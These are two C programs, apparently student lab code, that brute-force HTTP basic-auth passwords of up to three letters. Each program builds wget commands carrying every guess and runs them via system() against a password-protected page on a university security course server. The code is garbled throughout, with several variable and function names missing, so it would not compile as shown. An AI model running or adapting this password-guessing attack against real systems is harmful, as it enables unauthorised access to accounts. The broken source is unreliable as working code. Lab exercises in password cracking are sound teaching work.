#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>

int ()
{

 int m,n,o,i;
 char URL[255];
 char v[3];
 char temp1[100];
char temp2[100];
char temp3[250];
char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
time_t u1,u2;

  (void) time(&u1); 
 strcpy(temp1,"wget --http-user= --http-passwd=");
 strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
 
 for(m=0;m<=51;m++)
 {
   v[0]=[m]; 
   v[1]='\0';
   v[2]='\0';
   strcpy(URL,v); 
   printf("\nTesting with password %s\n",URL);
   strcat(temp3,temp1);
   strcat(temp3,URL);
   strcat(temp3,temp2);
   printf("\nSending the  %s\n",temp3);
   i=system(temp3); 
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",URL);
	 printf("\n\nThe time_var taken  crack the password is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
  for(n=0;n<=51;n++)
  {
   v[0]=[m]; 
   v[1]=[n];
   v[2]='\0';
   strcpy(URL,v); 
   printf("\nTesting with password %s\n",URL);
   strcat(temp3,temp1);
   strcat(temp3,URL);
   strcat(temp3,temp2);
   printf("\nSending the  %s\n",temp3);
   i=system(temp3);
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",URL);
	 printf("\n\nThe time_var taken  crack the password is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   for(o=0;o<=51;o++)
   { 
   v[0]=[m]; 
   v[1]=[n];
   v[2]=[o];
   strcpy(URL,v); 
   printf("\nTesting with password %s\n",URL);
   strcat(temp3,temp1);
   strcat(temp3,URL);
   strcat(temp3,temp2);
   printf("\nSending the  %s\n",temp3);
   i=system(temp3);
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",URL);
	 printf("\n\nThe time_var taken  crack the password is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   
   
   }
  }
 }  
  
}  

#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>

#define MINSIZE 26
#define MAXSIZE 52
#define MAX_SIZE 255


int CrackPasswd(char *passwd)
{
   int flag;
   char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];
      
   strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
   strcpy(string2," --http-user= --http-passwd='");
   strcpy(,"");
        
   strcat(, string1);
   strcat(, string2);
   strcat(, passwd);
   strcat(, "'");
   printf("Sending Request as %s\n",);
   flag = system();
   
   if (flag == 0)
   {
      printf("\nPassword is %s\n",passwd);
      return 1;
   }
    
   strcpy(,""); 
   return 0;
}  


int BruteForce(char *CharArray)
{
   int i, j, k;
   char passwd[MAX_SIZE];
   
   for (i=0;i<MAX_SIZE;i++)   
      passwd[i] = '\0';
      
   for(i=0;i<MAXSIZE;i++)
   {
      passwd[0] = CharArray[i];
      if(CrackPasswd(passwd) == 1)
         return 1;       
   }

   for(i=0;i<MAXSIZE;i++)
   {
      passwd[0] = CharArray[i];
      
      for(j=0;j<MAXSIZE;j++)
      {
         passwd[1] = CharArray[j];
         if(CrackPasswd(passwd) == 1)
            return 1;
      }
   }  
   
   for(i=0;i<MAXSIZE;i++)
   {
      passwd[0] = CharArray[i];
      
      for(j=0;j<MAXSIZE;j++)
      {
         passwd[1] = CharArray[j];
         
         for(k=0;k<MAXSIZE;k++)
         {
            passwd[2] = CharArray[k];
            if(CrackPasswd(passwd) == 1)
               return 1;       
         }
      }
   }
    return 0;
}


int  (int argc, char *argv[])
{
   char CharArray[MAXSIZE];
   char ch='a';
   int i,j;
   
   int , end;    
   
    = time();
     
   strcpy(CharArray,"");
   
   for (i=0;i<MINSIZE;i++)
   {
      CharArray[i]=ch;
      ch++;
   }
   
   ch='A';  
   for (i=MINSIZE;i<MAXSIZE;i++)
   {
      CharArray[i]=ch;
      ch++;
   }
    
   if (argc != 1)
   {
      fprintf(stdout,"Usage : ./BruteForce \n");
      return(EXIT_FAILURE);
   }
   
   BruteForce(CharArray);
  
   getpid();
   end = time(); 
   printf("Time Required = %lld msec\n",(end-)/());
   return (EXIT_SUCCESS);
  
}
